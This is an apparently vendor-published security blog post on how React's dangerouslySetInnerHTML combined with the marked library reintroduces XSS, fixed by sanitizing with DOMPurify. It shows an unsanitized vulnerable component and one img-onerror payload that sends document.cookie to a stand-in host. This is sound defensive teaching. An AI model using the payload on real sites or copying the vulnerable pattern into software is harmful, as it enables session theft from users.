← Alle Neuigkeiten
security5 Min. Lesezeit

How dangerouslySetInnerHTML quietly reintroduces XSS in React apps

Von Seaworthy · 25. Juli 2026

Close-up of lines of code on a screen

Photo by Chris Ried on Unsplash

React's whole pitch, back when it showed up and ate the frontend world, was that it made XSS boring. You write JSX, React escapes whatever goes into it, and the class of bug that used to define web security (attacker-controlled string ends up in the DOM, browser executes it as script) mostly stopped being your problem. <div>{comment.text}</div> is safe no matter what comment.text contains. React turns it into a text node, not markup, full stop.

Then you need to render markdown. Or rich text from a CMS. Or a comment with bold and a link in it. And suddenly you're reaching for dangerouslySetInnerHTML, which does exactly what the name says: it hands React a raw HTML string and tells it to stop protecting you. The name is a warning label, but warning labels get skimmed past at 11pm when the ticket just says "render markdown comments."

Why the escape hatch exists (and why it's dangerous)

dangerouslySetInnerHTML is React's wrapper around the DOM's innerHTML setter. Sometimes you genuinely need to inject markup: a WYSIWYG editor's output, a markdown-to-HTML conversion, embed code from a CMS. Plain JSX can't do that; it escapes everything by design. So React gives you an escape hatch, with a name ugly enough that you're supposed to notice it and think twice.

The problem is what "think twice" actually requires. It's not enough to know the data came from your own database. The question that matters is: did an untrusted party ever get to influence this string, at any point before it landed here? A markdown comment field is the textbook case. The user submits it, you store it, you convert markdown to HTML server-side or client-side, and you render the result. Nothing about that pipeline sanitizes for XSS unless something in it explicitly does.

The realistic case: rendering user comments as markdown

Say you're building comments with basic formatting. A common pattern:

import { marked } from "marked";

function Comment({ text }: { text: string }) {
  const html = marked.parse(text);
  return <div dangerouslySetInnerHTML={{ __html: html }} />;
}

This looks reasonable. marked converts markdown to HTML, React renders it. Except markdown parsers are not sanitizers. Most of them, marked included, pass raw HTML straight through by default, because that's part of the markdown spec: you're allowed to drop inline HTML into a markdown document and have it come out the other side untouched. So a comment like this:

Nice post! <img src=x onerror="fetch('https://evil.example/steal?c='+document.cookie)">

becomes exactly that <img> tag in the output HTML, and dangerouslySetInnerHTML puts it straight into the DOM. The browser tries to load src=x, fails, fires onerror, and runs the attacker's JavaScript in the context of your page, with access to cookies, local storage, and anything else the logged-in user can touch. This isn't a theoretical edge case. It's the default behavior of the most popular JS markdown library, in the most common place people use dangerouslySetInnerHTML.

The part that makes this bug so persistent is that it works fine in every manual test. You type markdown, you see formatted text, you ship it. The exploit only shows up when someone deliberately sends payload instead of prose, which nobody does until an attacker does.

The fix: sanitize the HTML, not the input

You don't need to ban dangerouslySetInnerHTML or hand-roll a markdown renderer that refuses HTML. You need to sanitize the output HTML before it reaches the DOM, every single time, regardless of where the markdown came from or how much you trust the source. DOMPurify is the standard tool here:

import { marked } from "marked";
import DOMPurify from "dompurify";

function Comment({ text }: { text: string }) {
  const rawHtml = marked.parse(text);
  const safeHtml = DOMPurify.sanitize(rawHtml as string);
  return <div dangerouslySetInnerHTML={{ __html: safeHtml }} />;
}

DOMPurify walks the HTML, strips anything that isn't in an allowlist of safe tags and attributes, and specifically kills onerror, onload, javascript: URLs, inline <script> tags, and the rest of the usual XSS toolkit. The <img> above comes out with the onerror attribute gone. Formatting still works. The exploit doesn't.

A couple of things worth being deliberate about:

If you're rendering on the server (Next.js server components, SSR), DOMPurify needs a DOM implementation like jsdom since it was written for browsers. There are server-safe alternatives, like sanitize-html, which don't need that shim and are worth considering if you're purely server-side.

Sanitize as close to render as possible, not just at write time. If you sanitize on submit and store the "clean" HTML, a later change to your sanitizer's allowlist, a bug in an admin import tool, or a direct database write from a script can all reintroduce unsanitized HTML that never gets a second pass. Sanitizing at render time means every path into that dangerouslySetInnerHTML call is covered, not just the one you were thinking about when you wrote the form.

And if you don't actually need arbitrary HTML, don't parse markdown into raw HTML at all. Libraries like react-markdown render markdown directly to React elements instead of an HTML string, which sidesteps dangerouslySetInnerHTML entirely for the common case. Keep DOMPurify (or similar) in reserve for the cases where you genuinely need rich HTML input, like a CMS field or an embed.

Seaworthy's static analysis flags every use of dangerouslySetInnerHTML, innerHTML, and document.write() in a codebase as XSS surface, so you get a list of exactly where this pattern shows up instead of hoping you remember every markdown-rendering component you've ever written.

Dieser Artikel wurde von KI generiert und fasst öffentlich verfügbare Quellen zusammen.

Von den Machern von Seaworthy

Seaworthy scannt dein Repository nach den Problemen, die in Artikeln wie diesem behandelt werden.

Sicherheitslücken, offengelegte Geheimnisse und Fehlkonfigurationen — erkannt, bevor du bereitstellst. Kostenlos, kein Konto nötig.

$ npx seaworthycode